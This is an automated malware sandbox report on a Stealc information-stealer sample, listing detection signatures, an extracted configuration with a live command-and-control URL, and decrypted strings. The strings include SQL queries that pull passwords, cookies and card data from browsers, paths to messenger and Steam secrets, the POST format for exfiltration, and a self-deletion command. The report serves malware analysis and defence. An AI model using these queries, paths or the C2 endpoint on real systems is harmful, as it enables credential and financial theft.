Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1546617
MD5: caff2fe6c91944cca73634bb9b591335
SHA1: f449657c2b9733b3cd2b90b7320097902f9a94c9
SHA256: 68765aa962ddcffd239f27e69605d71138b54d35ed5fd9f36b7e33b0b672ab34
Tags: exeuser-Bitsight
Infos:

Detection

Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Detected unpacking (changes PE section rights)
Found malware configuration
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found evasive API chain (may stop execution after checking locale)
Hides threads from debuggers
Machine Learning detection for sample
PE file contains section with special chars
Sample uses string decryption to hide its real strings
Searches for specific processes (likely to inject)
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Detected potential crypto function
Entry point lies outside standard sections
Extensive use of GetProcAddress (often used to hide API calls)
Found evaded block containing many API calls
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
PE file contains an invalid checksum
PE file contains sections with non-standard names
Program does not show much activity (idle)
Queries the volume information (name, serial number etc) of a device
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)

Classification

Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Found malware configuration
Source: 0.2.file.exe.a30000.0.unpack Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 0.2.file.exe.a30000.0.unpack String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.a30000.0.unpack String decryptor: 30
Source: 0.2.file.exe.a30000.0.unpack String decryptor: 11
Source: 0.2.file.exe.a30000.0.unpack String decryptor: 20
Source: 0.2.file.exe.a30000.0.unpack String decryptor: 24
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetProcAddress
Source: 0.2.file.exe.a30000.0.unpack String decryptor: LoadLibraryA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: lstrcatA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: OpenEventA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: CreateEventA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: CloseHandle
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Sleep
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.a30000.0.unpack String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.a30000.0.unpack String decryptor: VirtualFree
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetSystemInfo
Source: 0.2.file.exe.a30000.0.unpack String decryptor: VirtualAlloc
Source: 0.2.file.exe.a30000.0.unpack String decryptor: HeapAlloc
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetComputerNameA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: lstrcpyA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetProcessHeap
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetCurrentProcess
Source: 0.2.file.exe.a30000.0.unpack String decryptor: lstrlenA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: ExitProcess
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetSystemTime
Source: 0.2.file.exe.a30000.0.unpack String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.a30000.0.unpack String decryptor: advapi32.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: gdi32.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: user32.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: crypt32.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: ntdll.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetUserNameA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: CreateDCA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetDeviceCaps
Source: 0.2.file.exe.a30000.0.unpack String decryptor: ReleaseDC
Source: 0.2.file.exe.a30000.0.unpack String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: sscanf
Source: 0.2.file.exe.a30000.0.unpack String decryptor: VMwareVMware
Source: 0.2.file.exe.a30000.0.unpack String decryptor: HAL9TH
Source: 0.2.file.exe.a30000.0.unpack String decryptor: JohnDoe
Source: 0.2.file.exe.a30000.0.unpack String decryptor: DISPLAY
Source: 0.2.file.exe.a30000.0.unpack String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.a30000.0.unpack String decryptor: http://185.215.113.206
Source: 0.2.file.exe.a30000.0.unpack String decryptor: bksvnsj
Source: 0.2.file.exe.a30000.0.unpack String decryptor: /6c4adf523b719729.php
Source: 0.2.file.exe.a30000.0.unpack String decryptor: /746f34465cf17784/
Source: 0.2.file.exe.a30000.0.unpack String decryptor: tale
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetFileAttributesA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GlobalLock
Source: 0.2.file.exe.a30000.0.unpack String decryptor: HeapFree
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetFileSize
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GlobalSize
Source: 0.2.file.exe.a30000.0.unpack String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.a30000.0.unpack String decryptor: IsWow64Process
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Process32Next
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetLocalTime
Source: 0.2.file.exe.a30000.0.unpack String decryptor: FreeLibrary
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Process32First
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: DeleteFileA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: FindNextFileA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: LocalFree
Source: 0.2.file.exe.a30000.0.unpack String decryptor: FindClose
Source: 0.2.file.exe.a30000.0.unpack String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: LocalAlloc
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetFileSizeEx
Source: 0.2.file.exe.a30000.0.unpack String decryptor: ReadFile
Source: 0.2.file.exe.a30000.0.unpack String decryptor: SetFilePointer
Source: 0.2.file.exe.a30000.0.unpack String decryptor: WriteFile
Source: 0.2.file.exe.a30000.0.unpack String decryptor: CreateFileA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: FindFirstFileA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: CopyFileA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: VirtualProtect
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetLastError
Source: 0.2.file.exe.a30000.0.unpack String decryptor: lstrcpynA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GlobalFree
Source: 0.2.file.exe.a30000.0.unpack String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GlobalAlloc
Source: 0.2.file.exe.a30000.0.unpack String decryptor: OpenProcess
Source: 0.2.file.exe.a30000.0.unpack String decryptor: TerminateProcess
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.a30000.0.unpack String decryptor: gdiplus.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: ole32.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: bcrypt.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: wininet.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: shlwapi.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: shell32.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: psapi.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.a30000.0.unpack String decryptor: SelectObject
Source: 0.2.file.exe.a30000.0.unpack String decryptor: BitBlt
Source: 0.2.file.exe.a30000.0.unpack String decryptor: DeleteObject
Source: 0.2.file.exe.a30000.0.unpack String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GdiplusStartup
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GdiplusShutdown
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GdipDisposeImage
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GdipFree
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.a30000.0.unpack String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.a30000.0.unpack String decryptor: CoUninitialize
Source: 0.2.file.exe.a30000.0.unpack String decryptor: CoInitialize
Source: 0.2.file.exe.a30000.0.unpack String decryptor: CoCreateInstance
Source: 0.2.file.exe.a30000.0.unpack String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.a30000.0.unpack String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.a30000.0.unpack String decryptor: BCryptDecrypt
Source: 0.2.file.exe.a30000.0.unpack String decryptor: BCryptSetProperty
Source: 0.2.file.exe.a30000.0.unpack String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.a30000.0.unpack String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetWindowRect
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetDesktopWindow
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetDC
Source: 0.2.file.exe.a30000.0.unpack String decryptor: CloseWindow
Source: 0.2.file.exe.a30000.0.unpack String decryptor: wsprintfA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.a30000.0.unpack String decryptor: CharToOemW
Source: 0.2.file.exe.a30000.0.unpack String decryptor: wsprintfW
Source: 0.2.file.exe.a30000.0.unpack String decryptor: RegQueryValueExA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: RegCloseKey
Source: 0.2.file.exe.a30000.0.unpack String decryptor: RegEnumValueA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: CryptUnprotectData
Source: 0.2.file.exe.a30000.0.unpack String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: ShellExecuteExA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: InternetConnectA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: InternetCloseHandle
Source: 0.2.file.exe.a30000.0.unpack String decryptor: InternetOpenA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: HttpSendRequestA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: InternetReadFile
Source: 0.2.file.exe.a30000.0.unpack String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: StrCmpCA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: StrStrA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: StrCmpCW
Source: 0.2.file.exe.a30000.0.unpack String decryptor: PathMatchSpecA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.a30000.0.unpack String decryptor: RmStartSession
Source: 0.2.file.exe.a30000.0.unpack String decryptor: RmRegisterResources
Source: 0.2.file.exe.a30000.0.unpack String decryptor: RmGetList
Source: 0.2.file.exe.a30000.0.unpack String decryptor: RmEndSession
Source: 0.2.file.exe.a30000.0.unpack String decryptor: sqlite3_open
Source: 0.2.file.exe.a30000.0.unpack String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.a30000.0.unpack String decryptor: sqlite3_step
Source: 0.2.file.exe.a30000.0.unpack String decryptor: sqlite3_column_text
Source: 0.2.file.exe.a30000.0.unpack String decryptor: sqlite3_finalize
Source: 0.2.file.exe.a30000.0.unpack String decryptor: sqlite3_close
Source: 0.2.file.exe.a30000.0.unpack String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.a30000.0.unpack String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.a30000.0.unpack String decryptor: encrypted_key
Source: 0.2.file.exe.a30000.0.unpack String decryptor: PATH
Source: 0.2.file.exe.a30000.0.unpack String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: NSS_Init
Source: 0.2.file.exe.a30000.0.unpack String decryptor: NSS_Shutdown
Source: 0.2.file.exe.a30000.0.unpack String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.a30000.0.unpack String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.a30000.0.unpack String decryptor: PK11_Authenticate
Source: 0.2.file.exe.a30000.0.unpack String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.a30000.0.unpack String decryptor: C:\ProgramData\
Source: 0.2.file.exe.a30000.0.unpack String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.a30000.0.unpack String decryptor: browser:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: profile:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: url:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: login:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: password:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Opera
Source: 0.2.file.exe.a30000.0.unpack String decryptor: OperaGX
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Network
Source: 0.2.file.exe.a30000.0.unpack String decryptor: cookies
Source: 0.2.file.exe.a30000.0.unpack String decryptor: .txt
Source: 0.2.file.exe.a30000.0.unpack String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.a30000.0.unpack String decryptor: TRUE
Source: 0.2.file.exe.a30000.0.unpack String decryptor: FALSE
Source: 0.2.file.exe.a30000.0.unpack String decryptor: autofill
Source: 0.2.file.exe.a30000.0.unpack String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.a30000.0.unpack String decryptor: history
Source: 0.2.file.exe.a30000.0.unpack String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.a30000.0.unpack String decryptor: cc
Source: 0.2.file.exe.a30000.0.unpack String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.a30000.0.unpack String decryptor: name:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: month:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: year:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: card:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Cookies
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Login Data
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Web Data
Source: 0.2.file.exe.a30000.0.unpack String decryptor: History
Source: 0.2.file.exe.a30000.0.unpack String decryptor: logins.json
Source: 0.2.file.exe.a30000.0.unpack String decryptor: formSubmitURL
Source: 0.2.file.exe.a30000.0.unpack String decryptor: usernameField
Source: 0.2.file.exe.a30000.0.unpack String decryptor: encryptedUsername
Source: 0.2.file.exe.a30000.0.unpack String decryptor: encryptedPassword
Source: 0.2.file.exe.a30000.0.unpack String decryptor: guid
Source: 0.2.file.exe.a30000.0.unpack String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.a30000.0.unpack String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.a30000.0.unpack String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.a30000.0.unpack String decryptor: cookies.sqlite
Source: 0.2.file.exe.a30000.0.unpack String decryptor: formhistory.sqlite
Source: 0.2.file.exe.a30000.0.unpack String decryptor: places.sqlite
Source: 0.2.file.exe.a30000.0.unpack String decryptor: plugins
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Local Extension Settings
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Sync Extension Settings
Source: 0.2.file.exe.a30000.0.unpack String decryptor: IndexedDB
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Opera Stable
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Opera GX Stable
Source: 0.2.file.exe.a30000.0.unpack String decryptor: CURRENT
Source: 0.2.file.exe.a30000.0.unpack String decryptor: chrome-extension_
Source: 0.2.file.exe.a30000.0.unpack String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Local State
Source: 0.2.file.exe.a30000.0.unpack String decryptor: profiles.ini
Source: 0.2.file.exe.a30000.0.unpack String decryptor: chrome
Source: 0.2.file.exe.a30000.0.unpack String decryptor: opera
Source: 0.2.file.exe.a30000.0.unpack String decryptor: firefox
Source: 0.2.file.exe.a30000.0.unpack String decryptor: wallets
Source: 0.2.file.exe.a30000.0.unpack String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.a30000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.a30000.0.unpack String decryptor: ProductName
Source: 0.2.file.exe.a30000.0.unpack String decryptor: x32
Source: 0.2.file.exe.a30000.0.unpack String decryptor: x64
Source: 0.2.file.exe.a30000.0.unpack String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.a30000.0.unpack String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.a30000.0.unpack String decryptor: ProcessorNameString
Source: 0.2.file.exe.a30000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.a30000.0.unpack String decryptor: DisplayName
Source: 0.2.file.exe.a30000.0.unpack String decryptor: DisplayVersion
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Network Info:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: - IP: IP?
Source: 0.2.file.exe.a30000.0.unpack String decryptor: - Country: ISO?
Source: 0.2.file.exe.a30000.0.unpack String decryptor: System Summary:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: - HWID:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: - OS:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: - Architecture:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: - UserName:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: - Computer Name:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: - Local Time:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: - UTC:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: - Language:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: - Keyboards:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: - Laptop:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: - Running Path:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: - CPU:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: - Threads:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: - Cores:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: - RAM:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: - Display Resolution:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: - GPU:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: User Agents:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Installed Apps:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: All Users:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Current User:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Process List:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: system_info.txt
Source: 0.2.file.exe.a30000.0.unpack String decryptor: freebl3.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: mozglue.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: msvcp140.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: nss3.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: softokn3.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: vcruntime140.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: \Temp\
Source: 0.2.file.exe.a30000.0.unpack String decryptor: .exe
Source: 0.2.file.exe.a30000.0.unpack String decryptor: runas
Source: 0.2.file.exe.a30000.0.unpack String decryptor: open
Source: 0.2.file.exe.a30000.0.unpack String decryptor: /c start
Source: 0.2.file.exe.a30000.0.unpack String decryptor: %DESKTOP%
Source: 0.2.file.exe.a30000.0.unpack String decryptor: %APPDATA%
Source: 0.2.file.exe.a30000.0.unpack String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.a30000.0.unpack String decryptor: %USERPROFILE%
Source: 0.2.file.exe.a30000.0.unpack String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.a30000.0.unpack String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.a30000.0.unpack String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.a30000.0.unpack String decryptor: %RECENT%
Source: 0.2.file.exe.a30000.0.unpack String decryptor: *.lnk
Source: 0.2.file.exe.a30000.0.unpack String decryptor: files
Source: 0.2.file.exe.a30000.0.unpack String decryptor: \discord\
Source: 0.2.file.exe.a30000.0.unpack String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.a30000.0.unpack String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.a30000.0.unpack String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.a30000.0.unpack String decryptor: key_datas
Source: 0.2.file.exe.a30000.0.unpack String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.a30000.0.unpack String decryptor: map*
Source: 0.2.file.exe.a30000.0.unpack String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.a30000.0.unpack String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.a30000.0.unpack String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Telegram
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Tox
Source: 0.2.file.exe.a30000.0.unpack String decryptor: *.tox
Source: 0.2.file.exe.a30000.0.unpack String decryptor: *.ini
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Password
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.a30000.0.unpack String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.a30000.0.unpack String decryptor: 00000001
Source: 0.2.file.exe.a30000.0.unpack String decryptor: 00000002
Source: 0.2.file.exe.a30000.0.unpack String decryptor: 00000003
Source: 0.2.file.exe.a30000.0.unpack String decryptor: 00000004
Source: 0.2.file.exe.a30000.0.unpack String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Pidgin
Source: 0.2.file.exe.a30000.0.unpack String decryptor: \.purple\
Source: 0.2.file.exe.a30000.0.unpack String decryptor: accounts.xml
Source: 0.2.file.exe.a30000.0.unpack String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.a30000.0.unpack String decryptor: token:
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.a30000.0.unpack String decryptor: SteamPath
Source: 0.2.file.exe.a30000.0.unpack String decryptor: \config\
Source: 0.2.file.exe.a30000.0.unpack String decryptor: ssfn*
Source: 0.2.file.exe.a30000.0.unpack String decryptor: config.vdf
Source: 0.2.file.exe.a30000.0.unpack String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.a30000.0.unpack String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.a30000.0.unpack String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.a30000.0.unpack String decryptor: loginusers.vdf
Source: 0.2.file.exe.a30000.0.unpack String decryptor: \Steam\
Source: 0.2.file.exe.a30000.0.unpack String decryptor: sqlite3.dll
Source: 0.2.file.exe.a30000.0.unpack String decryptor: browsers
Source: 0.2.file.exe.a30000.0.unpack String decryptor: done
Source: 0.2.file.exe.a30000.0.unpack String decryptor: soft
Source: 0.2.file.exe.a30000.0.unpack String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.a30000.0.unpack String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.a30000.0.unpack String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.a30000.0.unpack String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.a30000.0.unpack String decryptor: https
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.a30000.0.unpack String decryptor: POST
Source: 0.2.file.exe.a30000.0.unpack String decryptor: HTTP/1.1
Source: 0.2.file.exe.a30000.0.unpack String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.a30000.0.unpack String decryptor: hwid
Source: 0.2.file.exe.a30000.0.unpack String decryptor: build
Source: 0.2.file.exe.a30000.0.unpack String decryptor: token
Source: 0.2.file.exe.a30000.0.unpack String decryptor: file_name
Source: 0.2.file.exe.a30000.0.unpack String decryptor: file
Source: 0.2.file.exe.a30000.0.unpack String decryptor: message
Source: 0.2.file.exe.a30000.0.unpack String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.a30000.0.unpack String decryptor: screenshot.jpg
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A49030 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA, 0_2_00A49030
